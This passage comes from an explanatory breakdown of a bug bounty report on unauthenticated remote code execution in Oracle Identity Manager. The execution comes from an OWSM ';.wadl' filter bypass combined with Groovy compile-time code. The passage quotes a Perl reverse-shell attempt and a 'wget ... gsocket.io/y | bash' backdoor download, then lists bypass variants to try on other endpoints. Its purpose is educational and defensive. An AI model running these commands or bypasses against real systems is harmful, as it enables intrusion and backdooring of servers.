The combination yields pre-authentication, non-blind RCE. No account, token or session is required, only network access to the host, which is why the report cites a CVSS of 9.8 with AV:N/AC:L/PR:N/UI:N all at their worst values. Because the payload writes command output straight into the HttpServletResponse, the attacker sees results in the HTTP response and does not need DNS exfiltration or a reverse shell, which makes the exploitation faster, more reliable and easy to automate.
The process runs as oracle, a member of dba and oinstall. According to the report this means an attacker could access the Oracle database, read the OIM keystore and credentials, modify the WebLogic domain configuration, and potentially move laterally to connected systems. The report frames the lateral movement as a possibility rather than something demonstrated.
A keystore is a file that holds cryptographic keys and certificates, the material that lets a server prove its identity and decrypt protected data. Reading it would be a serious escalation. Moving laterally means using the first compromised machine as a stepping stone to reach others.
Defences that held
Despite the critical application flaw, network controls stopped the follow-on attempts.
Egress filtering defeated a reverse shell. The attempt and result are given as:
Percobaan: perl → connect ke [redacted]:1337 → sh -iHasil : TCP PROBE_CLOSED — port 1337 difilter
Line by line:
Percobaan:means "attempt" in Indonesian.perl → connect ke [redacted]:1337 → sh -idescribes the plan: use the Perl programming language to open a connection to an address on port 1337, then start an interactive shell (sh -i).Hasil:means "result".TCP PROBE_CLOSED — port 1337 difiltersays the connection attempt was closed because port 1337 is filtered.
The Perl process ran, but no callback connection formed because the EPA network blocks outbound connections to non-standard ports, preventing an interactive backdoor.
A DNS sinkhole defeated a gsocket backdoor:
Percobaan: wget -O- https://gsocket.io/y | bashHasil : gsocket.io resolve ke [redacted] / :: (sinkhole)
Line by line:
wget -O- https://gsocket.io/ydownloads a file from that address and prints it to the screen (-O-means output to standard output).| bashpipes that downloaded text straight into the shell, so it runs immediately.Hasil: gsocket.io resolve ke [redacted] / :: (sinkhole)says the name resolved to[redacted](an address that goes nowhere) and::(the IPv6 equivalent), because of a sinkhole.
The domain used for the covert tunnel resolved to unused addresses, so the backdoor binary was never downloaded. Verification afterwards showed no leftover process, binary or cron entry. A cron entry is a scheduled task on Linux, a way to make something run automatically later.
The lesson the report draws is that the application flaw and the network defences are separate layers. Once RCE breaks through the application, egress filtering and DNS sinkholes limit the damage, which is the case for defence in depth: one layer can fail while another still protects.
Fix
The report does not describe a patch or a change made by the vendor.
Variants to test
- Matrix parameter against other OWSM-protected endpoints. Append
;.wadlto the last path segment of any endpoint that returns 401 and send the request without credentials. A positive result is HTTP 200 or any response other than 401, showing the filter let it through while the router still reached the resource. - Other suffixes matched by the same regex family. The pattern is case-insensitive on
.wadland allows trailing characters, so try mixed case and trailing content after the extension. A positive result is the same discrepancy: the filter treats the address as public, the router dispatches to the protected resource. - Matrix parameter placement. Try the parameter on earlier segments, for example
/applications;.wadl/groovyscriptstatus. The report says routing can fail there, so a 404 or routing error is the expected negative; a 200 would show a wider bypass. - Content type handling on the same endpoint. Send the payload with a type other than
application/json. The report says this yields HTTP 415, so a 200 would indicate the@Consumesconstraint is not enforced and the attack surface is broader. - Compile-time execution in other Groovy-accepting features. Any endpoint that compiles user-supplied Groovy is a candidate for
@ASTTestwith a closure atSEMANTIC_ANALYSIS. A positive result is a side effect (file write, outbound connection attempt, output in the response) appearing even though the script was only meant to be syntax-checked. - Reflection chain on other WebLogic deployments. The payload depends on
weblogic.work.ExecuteThread,getCurrentWork, the privateconnectionHandlerfield andgetServletResponse. On another WebLogic host, a positive result is command output appearing in the HTTP response body without any separate channel.
Glossary
- API: Application Programming Interface, a defined way for software to talk to other software, usually through addresses that accept and return data.
- Annotation: A label starting with
@attached to code to give the compiler extra instructions. - Authentication: Proving who you are, for example with a password, a session cookie or a token.
- Blind RCE: Remote code execution where the attacker cannot see the command output directly and must use another channel to learn the result.
- Bug bounty programme: An arrangement where an organisation invites researchers to test its systems within rules and report findings.
- Bugcrowd: A platform that runs bug bounty programmes for organisations.
- Closure: A block of code that can be passed around and run later, in Groovy written as
{ ... }. - Compiling: Translating source code into a form the machine can run.
- Content-Type: A header that says what format the body of a request is in, such as
application/json. - Cron entry: A scheduled task on Linux that runs automatically at set times.
- CVSS: Common Vulnerability Scoring System, a 0 to 10 score for the severity of a flaw.
- CVE: A public catalogue number for a known security flaw.
- CWE-306: A catalogue entry for Missing Authentication for Critical Function, meaning an important feature can be used without logging in.
- DNS: The system that turns names like
example.cominto numeric addresses. - DNS sinkhole: A deliberate DNS answer that points a name at a useless address, so connections go nowhere.
- Egress filtering: Blocking outbound connections from a network.
- Endpoint: A specific address inside an API that does one job.
- Groovy: A programming language that runs on the Java platform, often used for small scripts.
- Header: Extra information attached to a web request or response, such as
HostorContent-Type. - HTTP 401: The status code meaning the request needs authentication.
- HTTP 415: The status code meaning the server does not accept the format of the body.
- JAX-RS: The Java standard for building and routing web APIs.
- Keystore: A file holding cryptographic keys and certificates.
- Matrix parameter: A parameter attached to a path segment in a web address, introduced by a semicolon under RFC 3986.
- Non-blind RCE: Remote code execution where the attacker sees the command output directly in the response.
- OIM: Oracle Identity Manager, software for managing user accounts and permissions.
- OWSM: Oracle Web Services Manager, a gatekeeper that inspects requests before they reach the application.
- Port: A numbered channel on a server; different services listen on different ports.
- RCE: Remote Code Execution, the ability to make a server run commands of your choosing from a distance.
- Reflection: A Java feature that lets code inspect and manipulate other code at runtime, including private fields.
- Regex: A pattern used to match text.
- RHEL: Red Hat Enterprise Linux, a common server operating system.
- Reverse shell: A connection from the victim server back to the attacker, giving an interactive command prompt.
- RFC 3986: The formal specification for web addresses (URIs).
- Session cookie: A small piece of data a server gives your browser after login, presented on later requests to prove who you are.
- Thread: A single line of execution inside a program.
- Token: A piece of data used to prove identity or permission, similar in purpose to a session cookie.
- WADL: Web Application Description Language, a file that describes an API and is usually meant to be public.
- WebLogic: Oracle's Java application server, which runs OIM.